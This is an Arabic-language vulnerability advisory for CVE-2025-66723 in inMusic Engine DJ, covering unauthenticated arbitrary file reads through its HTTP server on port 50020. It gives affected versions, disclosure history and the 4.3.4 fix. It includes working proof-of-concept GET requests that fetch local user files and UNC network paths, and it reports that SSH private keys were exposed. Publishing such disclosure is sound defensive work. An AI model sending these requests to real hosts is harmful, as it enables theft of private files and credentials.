
CVE-2025-66723: inMusic Brands Engine DJ >=3.0.0 through <4.3.4 يكشف الملفات المحلية وملفات الشبكة لأطراف خارجية
يحتوي برنامج Engine DJ من شركة inMusic Brands على خادم HTTP مدمج لإرسال ملفات مكتبة الوسائط إلى العملاء المتصلين عبر الشبكة. تتم الإشارة إلى ملفات الوسائط عبر مسار نظام الملفات. لا يقوم Engine DJ بمصادقة العملاء أو تقييد مسارات نظام الملفات المطلوبة. وهذا يسمح للمهاجم بتسريب ملفات حساسة محلية أو قابلة للوصول عبر الشبكة من الأنظمة المتأثرة.
لا يحتاج المهاجم سوى وصول شبكي إلى المضيف المتأثر؛ ولا تتطلب أي مصادقة أو تفاعل مسبق.
يتضمن الإصدار Engine DJ v4.3.4، الذي صدر في 17 نوفمبر 2025، إجراءً تخفيفياً. يُنصح المستخدمون بالترقية في أقرب وقت ممكن.
درجة CVSS v3.1 الأساسية: 7.5 (عالية)
المتجه: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Engine DJ >=3.0.0, <4.3.4، على جميع المنصات (macOS، Windows).
إصدارات تم اختبارها تحديداً وتبيّن أنها متأثرة/معرّضة للخطر، على macOS و Windows:
3.0.0, 3.0.1, 3.1.0, 3.1.1, 3.2.0, 3.3.0, 3.4.0,
4.0.0, 4.0.1, 4.1.0, 4.2.0, 4.2.1, 4.3.0
إصدارات تم اختبارها تحديداً وتبيّن أنها غير متأثرة، على macOS و Windows:
2.0.0, 2.0.1, 2.0.2, 2.1.0, 2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.1, 2.3.2, 2.4.0,
4.3.4
عند تشغيله، يرتبط Engine DJ بالمنفذ :50020 على كل واجهة شبكة IPv4 باستثناء localhost.
من المفترض أن يستخدم العملاء خدمة gRPC منفصلة على المنفذ :50010 لطلب الوصول والبحث عن ملفات الوسائط. وبمجرد العثور على مسار ملف الوسائط المطلوب، يقدم العميل بعدها طلب HTTP على المنفذ :50020:
GET /download/%3CC%3A%2FMusic%2Ftest.flac%3E HTTP/1.1
Host: 192.0.2.1:50020
User-Agent: EngineOS/1.0 DenonDJ
Accept: */*
HTTP/1.1 200 OK
Content-Length: 37517194
Content-Type: application/octet-stream
Keep-Alive: timeout=5, max=5
…
ملاحظة: عند فك الترميز، مسار GET أعلاه هو ببساطة:
/download/<C:/Music/test.flac>
ليس من الضروري ترميز النسبة المئوية لهذه الأحرف عند تقديم الطلبات.
يمكن للمهاجم طلب أي شيء يمكن الوصول إليه من قبل المستخدم الذي يعمل برنامج Engine DJ بحسابه، طالما أن المسار معروف للمهاجم. في هذا المثال، يتم استخدام ملف نصي للاختبار:
GET /download/<C:/Users/USERNAME/test.txt> HTTP/1.1
Host: 192.0.2.1:50020
HTTP/1.1 200 OK
Content-Length: 40
Content-Type: application/octet-stream
Keep-Alive: timeout=5, max=5
INSECURE...
From text file test.txt
شملت الملفات التي تم الوصول إليها أثناء اختبارات إثبات المفهوم في المختبر مفاتيح SSH الخاصة وملفات البيئة.
لا تقتصر المسارات المطلوبة على الملفات المحلية. كما تبيّن أن مسارات الشبكة قابلة للوصول أيضاً، وفقاً لصلاحيات المضيف:
/download/<//EXAMPLE-SERVER/C$/secret.txt>
لحسن الحظ، لا توجد ترويسة Access-Control-Allow-Origin أو ترويسات ذات صلة في استجابة الخادم. لذلك، الملفات ليست قابلة للوصول من عملاء الويب العاديين. يمكن استخدام بعض إضافات أو خيارات المتصفح لتخفيف قيود الطلبات عبر الأصل، لكنها غير شائعة.
يمكن استخدام حركة مرور شبكة IPv4 على المنفذ :50020 للتخمين بأن Engine DJ قيد الاستخدام، لكنها لا تشير إلى ما إذا كان المضيف معرّضاً للخطر. لا يحدد الخادم المدمج هويته في استجاباته، ولا يبدو وجود فرق قابل للقياس بين إصدارات Engine DJ المعرّضة وغير المعرّضة للخطر. لذلك، لا يبدو أنه من الممكن خارجياً تحديد ما إذا كان المضيف معرّضاً للخطر، باستثناء محاولة طلب ملف معروف الوجود.
مباشرة بعد الاكتشاف، تم إخطار inMusic Brands بالثغرة عبر قنوات الدعم الفني الخاصة بها. كانت الاستجابة احترافية وسريعة، وتم إصدار إجراء تخفيفي للمشكلة كجزء من الإصدار v4.3.4 في 17 نوفمبر 2025 لكل من macOS و Windows.
بينما لا يزال من الممكن تنزيل ملفات الوسائط دون مصادقة/تفويض، أصبحت المسارات القابلة للطلب الآن ضمن قائمة بيضاء بحيث لا يمكن محاولة الوصول إلى ملف خارج مكتبة الوسائط. سيحصل المستخدمون على استجابة 403 لأي شيء غير موجود في القائمة البيضاء، حتى لو لم يكن موجوداً.
GET /download/<C:/Users/USERNAME/test.txt> HTTP/1.1
Host: 192.0.2.1:50020
HTTP/1.1 403 Forbidden
Content-Length: 17
Content-Type: text/html
Keep-Alive: timeout=5, max=5
…
يمكن العثور على التنزيلات الرسمية لأحدث إصدارات Engine DJ على موقع Engine DJ الرسمي:
https://enginedj.com/downloads
للاستفسارات حول هذا التقرير، يرجى التواصل مع المؤلف:
Brad Isbell, AudioPump, Inc. [email protected]